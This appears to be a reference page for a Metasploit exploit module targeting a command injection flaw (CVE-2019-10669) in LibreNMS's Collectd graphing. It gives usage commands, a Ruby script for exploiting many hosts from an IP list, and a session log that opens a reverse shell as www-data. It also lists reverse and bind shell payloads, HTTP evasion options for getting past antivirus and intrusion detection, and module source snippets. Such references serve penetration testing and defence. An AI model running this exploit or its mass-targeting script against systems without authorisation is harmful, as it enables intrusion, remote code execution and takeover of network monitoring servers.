LibreNMS Collectd Command Injection - Metasploit
This page contains detailed information about how to use the exploit/linux/http/librenms_collectd_cmd_inject metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: LibreNMS Collectd Command Injection
Module: exploit/linux/http/librenms_collectd_cmd_inject
Source code: modules/exploits/linux/http/librenms_collectd_cmd_inject.rb
Disclosure date: 2019-07-15
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-10669
This module exploits a command injection vulnerability in
the Collectd graphing functionality in LibreNMS. The to
and from
parameters used to define the range for a graph
are sanitized using the mysqli_escape_real_string()
function, which permits backticks. These parameters are used
as part of a shell command that gets executed via the
passthru()
function, which can result in code execution.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using librenms_collectd_cmd_inject against a single host
Normally, you can use exploit/linux/http/librenms_collectd_cmd_inject this way:
msf > use exploit/linux/http/librenms_collectd_cmd_inject
msf exploit(librenms_collectd_cmd_inject) > show targets
... a list of targets ...
msf exploit(librenms_collectd_cmd_inject) > set TARGET target-id
msf exploit(librenms_collectd_cmd_inject) > show options
... show and set options ...
msf exploit(librenms_collectd_cmd_inject) > exploit
Using librenms_collectd_cmd_inject against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your librenms_collectd_cmd_inject will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/librenms_collectd_cmd_inject")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
A command injection vulnerability exists in LibreNMS versions prior to v1.50.1
.
The injection vulnerability affects the Collectd graphing functionality. Specifically, the to
and
from
parameters used in the range for graphing are sanitized with the mysqli_escape_real_string()
which ignores certain characters, including backticks. These improperly sanitized parameters are then
used in a shell command that gets executed via the passthru()
function.
This module has been tested on LibreNMS v1.46
and v.1.50
.
Vulnerable Application
A vulnerable version of LibreNMS (v1.50) in the form of an OVA can be downloaded here.
Login credentials can be found on the official LibreNMS site.
Collectd will need to be set up with LibreNMS for this exploit to work. These instructions are for the Ubuntu OVA.
sudo apt-get install collectd
Open the Collectd config file /etc/collectd/collectd.conf
and uncomment the global options for the Hostname
and BaseDir
.
Next, uncomment the lines for the cpu plugin.
The plugin should look similar to this:
ReportByCpu true
ReportByState true
ValuesPercentage false
Next, find the rrdtool
plugin and ensure it looks like this:
DataDir "/var/lib/collectd/rrd"
CacheTimeout 120
CacheFlush 900
Save and exit
Now open /etc/collectd/collectd.conf.d/rrdtool.conf
and add
LoadPlugin rrdtool
DataDir "/var/lib/collectd/rrd"
CacheTimeout 120
CacheFlush 900
Save and exit, then restart the Collectd service:
sudo systemctl restart collectd
Lastly, add these two lines to the LibreNMS config file,
/opt/librenms/config.php
:
$config['collectd_dir'] = '/var/lib/collectd/rrd';
$config['collectd_sock'] = 'unix:///var/run/collectd.sock';
Now save and exit.
You can verify that Collectd is set up with LibreNMS by viewing the
localhost
device in LibreNMS and noting that there should be a Collectd
tab on the device's main page.
Verification Steps
- Install the application
- Start msfconsole
- Do:
use exploit/linux/http/librenms_collectd_cmd_inject
- Do:
set RHOSTS <ip>
- Do:
set USERNAME <user>
- Do:
set PASSWORD <pass>
- Do:
run
- You should get a shell.
Scenarios
Tested on LibreNMS v1.46
msf5 > use exploit/linux/http/librenms_collectd_cmd_inject
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set rhosts 192.168.37.133
rhosts => 192.168.37.133
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set username blah
username => blah
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set password password
password => password
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > check
[*] 192.168.37.133:80 - The target service is running, but could not be validated.
msf5 exploit(linux/http/librenms_collectd_cmd_inject) > run
[*] Started reverse TCP double handler on 192.168.37.1:4444
[*] Successfully logged into LibreNMS. Storing credentials...
[*] LibreNMS version: 1.46
[*] Sending payload via device 122
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 67Fk9T3DyODcIsbL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "Trying: not found\r\nsh: 2: Connected: not found\r\nsh: 3: Escape: not found\r\n67Fk9T3DyODcIsbL\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 3 opened (192.168.37.1:4444 -> 192.168.37.133:50462) at 2019-08-12 15:43:16 -0500
whoami
www-data
uname -a
Linux ubuntu 4.18.0-15-generic #16~18.04.1-Ubuntu SMP Thu Feb 7 14:06:04 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Go back to menu.
Msfconsole Usage
Here is how the linux/http/librenms_collectd_cmd_inject exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/librenms_collectd_cmd_inject
[*] Using configured payload cmd/unix/reverse
msf6 exploit(linux/http/librenms_collectd_cmd_inject) > show info
Name: LibreNMS Collectd Command Injection
Module: exploit/linux/http/librenms_collectd_cmd_inject
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-07-15
Provided by:
Eldar Marcussen
Shelby Pace
Available targets:
Id Name
-- ----
0 Linux
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes Password for LibreNMS
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base LibreNMS path
USERNAME yes User name for LibreNMS
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a command injection vulnerability in the
Collectd graphing functionality in LibreNMS. The `to` and `from`
parameters used to define the range for a graph are sanitized using
the `mysqli_escape_real_string()` function, which permits backticks.
These parameters are used as part of a shell command that gets
executed via the `passthru()` function, which can result in code
execution.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-10669
https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/
Module Options
This is a complete list of options available in the linux/http/librenms_collectd_cmd_inject exploit:
msf6 exploit(linux/http/librenms_collectd_cmd_inject) > show options
Module options (exploit/linux/http/librenms_collectd_cmd_inject):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes Password for LibreNMS
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base LibreNMS path
USERNAME yes User name for LibreNMS
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux
Advanced Options
Here is a complete list of advanced options supported by the linux/http/librenms_collectd_cmd_inject exploit:
msf6 exploit(linux/http/librenms_collectd_cmd_inject) > show advanced
Module advanced options (exploit/linux/http/librenms_collectd_cmd_inject):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/librenms_collectd_cmd_inject module can exploit:
msf6 exploit(linux/http/librenms_collectd_cmd_inject) > show targets
Exploit targets:
Id Name
-- ----
0 Linux
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/librenms_collectd_cmd_inject exploit:
msf6 exploit(linux/http/librenms_collectd_cmd_inject) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
20 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
21 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
22 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
23 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
24 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
25 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
26 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
27 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
28 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
29 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
30 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
31 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
32 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
33 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
34 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
35 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
36 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
37 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
38 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
39 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
40 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
41 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
42 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
43 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
44 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
45 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
46 payload/generic/custom normal No Custom Payload
47 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
48 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/librenms_collectd_cmd_inject exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/librenms_collectd_cmd_inject) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- librenms
- Failed to access the login page
- Failed to submit credentials to login page
- Failed to log into LibreNMS
- Failed to reach the about LibreNMS page
- Failed to retrieve version information
- Failed to access the devices page
- Unable to retrieve JSON response
- Unable to find hostname data
- Failed to retrieve any device ids
- Failed to find a collectd plugin for any of the devices
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
librenms
Here is a relevant code snippet related to the "librenms" error message:
56: ])
57: end
58:
59: def check
60: res = send_request_cgi!('method' => 'GET', 'uri' => target_uri.path)
61: return Exploit::CheckCode::Safe unless res && res.body.downcase.include?('librenms')
62:
63: about_res = send_request_cgi(
64: 'method' => 'GET',
65: 'uri' => normalize_uri(target_uri.path, 'pages', 'about.inc.php')
66: )
Failed to access the login page
Here is a relevant code snippet related to the "Failed to access the login page" error message:
76: end
77:
78: def login
79: login_uri = normalize_uri(target_uri.path, 'login')
80: res = send_request_cgi('method' => 'GET', 'uri' => login_uri)
81: fail_with(Failure::NotFound, 'Failed to access the login page') unless res && res.code == 200
82:
83: cookies = res.get_cookies
84: login_res = send_request_cgi(
85: 'method' => 'POST',
86: 'uri' => login_uri,
Failed to submit credentials to login page
Here is a relevant code snippet related to the "Failed to submit credentials to login page" error message:
90: 'username' => datastore['USERNAME'],
91: 'password' => datastore['PASSWORD']
92: }
93: )
94:
95: fail_with(Failure::NoAccess, 'Failed to submit credentials to login page') unless login_res && login_res.code == 302
96:
97: cookies = login_res.get_cookies
98: res = send_request_cgi(
99: 'method' => 'GET',
100: 'uri' => normalize_uri(target_uri.path),
Failed to log into LibreNMS
Here is a relevant code snippet related to the "Failed to log into LibreNMS" error message:
98: res = send_request_cgi(
99: 'method' => 'GET',
100: 'uri' => normalize_uri(target_uri.path),
101: 'cookie' => cookies
102: )
103: fail_with(Failure::NoAccess, 'Failed to log into LibreNMS') unless res && res.code == 200 && res.body.include?('Devices')
104:
105: print_status('Successfully logged into LibreNMS. Storing credentials...')
106: store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
107: login_res.get_cookies
108: end
Failed to reach the about LibreNMS page
Here is a relevant code snippet related to the "Failed to reach the about LibreNMS page" error message:
109:
110: def get_version
111: uri = normalize_uri(target_uri.path, 'about')
112:
113: res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies )
114: fail_with(Failure::NotFound, 'Failed to reach the about LibreNMS page') unless res && res.code == 200
115:
116: html = res.get_html_document
117: version = html.search('tr//td//a')
118: fail_with(Failure::NotFound, 'Failed to retrieve version information') if version.empty?
119: version.each do |e|
Failed to retrieve version information
Here is a relevant code snippet related to the "Failed to retrieve version information" error message:
113: res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies )
114: fail_with(Failure::NotFound, 'Failed to reach the about LibreNMS page') unless res && res.code == 200
115:
116: html = res.get_html_document
117: version = html.search('tr//td//a')
118: fail_with(Failure::NotFound, 'Failed to retrieve version information') if version.empty?
119: version.each do |e|
120: return $1 if e.text =~ /(\d+\.\d+\.?\d*)/
121: end
122: end
123:
Failed to access the devices page
Here is a relevant code snippet related to the "Failed to access the devices page" error message:
145: 'sort[hostname]' => 'asc',
146: 'rowCount' => 50
147: }
148: )
149:
150: fail_with(Failure::NotFound, 'Failed to access the devices page') unless dev_res && dev_res.code == 200
151:
152: json = JSON.parse(dev_res.body)
153: fail_with(Failure::NotFound, 'Unable to retrieve JSON response') if json.empty?
154:
155: json = json['rows']
Unable to retrieve JSON response
Here is a relevant code snippet related to the "Unable to retrieve JSON response" error message:
148: )
149:
150: fail_with(Failure::NotFound, 'Failed to access the devices page') unless dev_res && dev_res.code == 200
151:
152: json = JSON.parse(dev_res.body)
153: fail_with(Failure::NotFound, 'Unable to retrieve JSON response') if json.empty?
154:
155: json = json['rows']
156: fail_with(Failure::NotFound, 'Unable to find hostname data') if json.empty?
157:
158: hosts = []
Unable to find hostname data
Here is a relevant code snippet related to the "Unable to find hostname data" error message:
151:
152: json = JSON.parse(dev_res.body)
153: fail_with(Failure::NotFound, 'Unable to retrieve JSON response') if json.empty?
154:
155: json = json['rows']
156: fail_with(Failure::NotFound, 'Unable to find hostname data') if json.empty?
157:
158: hosts = []
159: json.each do |row|
160: hostname = row['hostname']
161: next if hostname.nil?
Failed to retrieve any device ids
Here is a relevant code snippet related to the "Failed to retrieve any device ids" error message:
163: id = hostname.match('href=\"device\/device=(\d+)\/')
164: next unless id && id.length > 1
165: hosts << id[1]
166: end
167:
168: fail_with(Failure::NotFound, 'Failed to retrieve any device ids') if hosts.empty?
169:
170: hosts
171: end
172:
173: def get_plugin_info(id)
Failed to find a collectd plugin for any of the devices
Here is a relevant code snippet related to the "Failed to find a collectd plugin for any of the devices" error message:
206: plugin_name, plugin_type, plugin_instance, plugin_type_inst = get_plugin_info(device)
207: break if (plugin_name && plugin_type && plugin_instance && plugin_type_inst)
208: collectd_device = -1
209: end
210:
211: fail_with(Failure::NotFound, 'Failed to find a collectd plugin for any of the devices') if collectd_device == -1
212: print_status("Sending payload via device #{collectd_device}")
213:
214: res = send_request_cgi(
215: 'method' => 'GET',
216: 'uri' => req_uri,
Go back to menu.
Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #12189 Merged Pull Request: Add module for LibreNMS CVE-2019-10669
References
- CVE-2019-10669
- https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/
See Also
Check also the following modules related to this module:
- exploit/linux/http/librenms_addhost_cmd_inject
- exploit/linux/http/hp_van_sdn_cmd_inject
- exploit/multi/fileformat/swagger_param_inject
- exploit/multi/php/wp_duplicator_code_inject
- exploit/windows/http/advantech_iview_networkservlet_cmd_inject
- exploit/windows/local/payload_inject
- exploit/linux/http/apache_continuum_cmd_exec
- exploit/linux/http/apache_couchdb_cmd_exec
- exploit/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection
- exploit/linux/http/bitbucket_git_cmd_injection
- exploit/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec
- exploit/linux/http/dolibarr_cmd_exec
- exploit/linux/http/elfinder_archive_cmd_injection
- exploit/linux/http/f5_icall_cmd
- exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx
- exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec
- exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec
- exploit/linux/http/groundwork_monarch_cmd_exec
- exploit/linux/http/huawei_hg532n_cmdinject
- exploit/linux/http/linksys_wrt110_cmd_exec
- exploit/linux/http/microfocus_obr_cmd_injection
- exploit/linux/http/netgear_dnslookup_cmd_exec
- exploit/linux/http/pandora_ping_cmd_exec
- exploit/linux/http/panos_op_cmd_exec
- exploit/linux/http/pineapple_bypass_cmdinject
- exploit/linux/http/pineapple_preconfig_cmdinject
- exploit/linux/http/pulse_secure_cmd_exec
- exploit/linux/http/saltstack_salt_api_cmd_exec
- exploit/linux/http/sophos_utm_webadmin_sid_cmd_injection
- exploit/linux/http/sourcegraph_gitserver_sshcmd
- exploit/linux/http/tr064_ntpserver_cmdinject
- exploit/linux/http/wepresent_cmd_injection
- exploit/linux/http/wipg1000_cmd_injection
Authors
- Eldar Marcussen
- Shelby Pace
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.